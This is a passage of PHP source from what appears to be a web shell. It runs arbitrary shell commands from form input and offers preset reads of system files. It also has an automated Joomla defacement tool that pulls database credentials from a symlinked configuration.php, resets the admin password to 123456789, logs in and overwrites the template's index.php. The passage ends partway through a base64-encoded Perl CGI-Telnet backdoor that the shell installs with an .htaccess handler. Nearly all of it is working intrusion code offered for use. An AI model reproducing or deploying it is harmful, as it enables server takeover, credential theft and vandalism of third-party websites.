<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
<option value="cat /etc/hosts">/etc/hosts</option>
<option value="cat /etc/named.conf">/etc/named.conf</option>
<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
</select> <input type="submit" class="inputzbut" value="Gö">
</form>
</pre>
');
ini_restore("safe_mode");
ini_restore("open_basedir");
$liz0=shell_exec($_POST[baba]);
$liz0zim=shell_exec($_POST[liz0]);
$uid=shell_exec('id');
$server=shell_exec('uname -a');
echo "<pre><h4>";
echo $liz0;
echo $liz0zim;
echo "</h4></pre>";
"</div>"; }
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jodexer'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jodexer" method="post">
<?php
function randomt() {
$chars = "abcdefghijkmnopqrstuvwxyz023456789";
srand((double)microtime()*1000000);
$i = 0;
$pass = '' ;
while ($i <= 7) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
{
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
if ($_POST['form_action'])
{
$text=file_get_contents($_POST['file']);
$username=entre2v2($text,"public $user = '","';");
$password=entre2v2($text,"public $password = ', '","';");
$dbname=entre2v2($text,"public $db = ', '","';");
$dbprefix=entre2v2($text,"public $dbprefix = '","';");
$site_url=($_POST['site_url']);
$h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
$co=randomt();
/*
echo($username);
echo("<br>");
echo($password);
echo("<br>");
echo($dbname);
echo("<br>");
echo($dbprefix);
echo("<br>");
*/
$co=randomt();
if ($_POST['form_action'])
{
$h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
$link=mysql_connect("dzoed.druknet.bt",$username,$password) ;
mysql_select_db($dbname,$link) ;
$tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
echo("<br>[+] Changing admin password to 123456789");
$req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
if ( $req )
{
#################################################################
###################### V1.6 ######################
#################################################################
$req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
$req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
$data = mysql_fetch_array($req);
$template_id=$data["extension_id"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
///////////////////////////
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[~] Login Successful");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
if($hidden2) {
echo("<br>[+] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
exit;
}
echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,'<dd class="message message">');
if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[~] index.php successfully saved");
}
#################################################################
###################### V1.6 END ######################
#################################################################
}
else
{
#################################################################
###################### V1.5 ######################
#################################################################
$req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[+] Login Successful");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
if($hidden2) {
echo("<br>[~] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
}
echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,'<dd class="message message fade">');
if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[~] index.php successfully saved");
}
#################################################################
###################### V1.5 END ######################
#################################################################
}
}
function randomt() {
$chars = "abcdefghijkmnopqrstuvwxyz023456789";
srand((double)microtime()*1000000);
$i = 0;
$pass = '' ;
while ($i <= 7) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
{
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
}?>
<center><br><br>
<font color="#428bca" size='+3'><b>+--=[ Automatic Joomla Index Changer ]=--+</b></font><br><br>
</center>
<center><b>
Link of symlink configuration.php of Joomla<br></b>
<FORM action="" method="post">
<input type="hidden" name="form_action" value="1">
<input type="text" class="inputz" size="60" name="file" value="http://site.com/sym/home/user/public_html/configuration.php">
<br>
<br><b>
Admin Control panel url</b><br>
<input type="text" class="inputz" size="40" name="site_url" value="http://site/administrator"><br>
<br><b>
Your Index Code</b>
<br>
<TEXTAREA rows="20" align="center" style="background:black" cols="120" name="code"> your index code
</TEXTAREA>
<br>
<INPUT class="inputzbut" type="submit" value="Lets Go Deface !!!" name="Submit">
</FORM>
</center>
<script language=JavaScript>m='%09%09%09%09%09%09%09%3C/td%3E%0A%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%3C/table%3E%0A%09%09%09%09%3C/td%3E%0A%3C/html%3E';d=unescape(m);document.write(d);</script>
<?php
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi4e')) {
echo "<center/><br/><b>
+--==[ CGI-Telnet Version 1.4 ]==--+
</b><br><br>";
mkdir('cgi4e', 0755);
chdir('cgi4e');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "AddType application/x-httpd-cgi .izo
AddType application/x-httpd-cgi .izo
AddHandler cgi-script .izo
AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgi4e = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS40IjsNCiRFZGl0UGVyc2lvbj0iQmxvb2RTZWN1cml0eSI7DQoNCiRQYXNzd29yZCA9ICJkNHJrajFuIjsJCQkjIENoYW5nZSB0aGlzLiBZb3Ugd2lsbCBuZWVkIHRvIGVudGVyIHRoaXMNCgkJCQkjIHRvIGxvZ2luLg0Kc3ViIElzX1dpbigpew0KCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsNCglpZigkb3MgPX4gbS93aW4vaSl7DQoJCXJldHVybiAxOw0KCX1lbHNlew0KCQlyZXR1cm4gMDsNCgl9DQp9DQokV2luTlQgPSAmSXNfV2luKCk7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVA0KCQkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQ0KCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENtZFNlcCA9ICImIjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuDQoNCiRVbml4Q21kU2VwID0gIjsiOwkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzDQoJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4NCg0KJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJCSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkDQoJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQNCgkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLg0KCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLg0KDQokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUNCgkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UNCgkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kDQoJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQ0KCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4NCg0KIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQ0KDQokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsNCiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsNCiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOw0KJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsNCiRjb2xzPSAxMzA7DQokcm93cz0gMjY7DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOw0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpDQoJew0KCQkkaW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsNCgl9DQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpDQoJew0KCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7DQoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQoJfQ0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCgl7DQoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgDQoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IA0KCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOw0KCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87DQoJCSRIZWFkZXIgPSAkYDsNCgkJJEJvZHkgPSAkJzsNCiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIiIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgZnVuY3Rpb24gRW5jb2RlRGlyOiBlbmNvZGUgYmFzZTY0IFBhdGgNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFbmNvZGVEaXINCnsNCglteSAkZGlyID0gc2hpZnQ7DQoJJGRpciA9IHRyaW0oZW5jb2RlX2Jhc2U2NCgkZGlyKSk7DQoJJGRpciA9fiBzLyhccnxcbikvLzsNCglyZXR1cm4gJGRpcjsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyDQojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VIZWFkZXINCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGlkID0gYGlkYCBpZighJFdpbk5UKTsNCglteSAkaW5mbyA9IGB1bmFtZSAtcyAtbiAtciAtaWA7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPg0KPHRpdGxlPkJsb29kU2VjdXJpdHkgQ2dpLVRlbG5ldCBbICRWZXJzaW9uIF08L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZmY7DQp9DQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCn0NCiNkb21haW4gdHI6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Ow0KfQ0KdGQgew0KY29sb3I6ICMyQkE4RUM7DQp9DQoubGlzdGRpciB0ZHsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQoubGlzdGRpciB0aHsNCgljb2xvcjogI0ZGOTkwMDsNCn0NCi5kaXIsLmZpbGUNCnsNCgl0ZXh0LWFsaWduOiBsZWZ0ICFpbXBvcnRhbnQ7DQp9DQouZGlyew0KCWZvbnQtc2l6ZTogMTBwdDsgDQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQp9DQp0YWJsZSB7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KaW5wdXQgew0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCmNvZGUgew0KYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogd2hpbGU7DQp9DQpydW4gew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCnRleHRhcmVhIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpDQp7DQoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7DQoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7DQoJcmV0dXJuIHRydWU7DQp9DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgI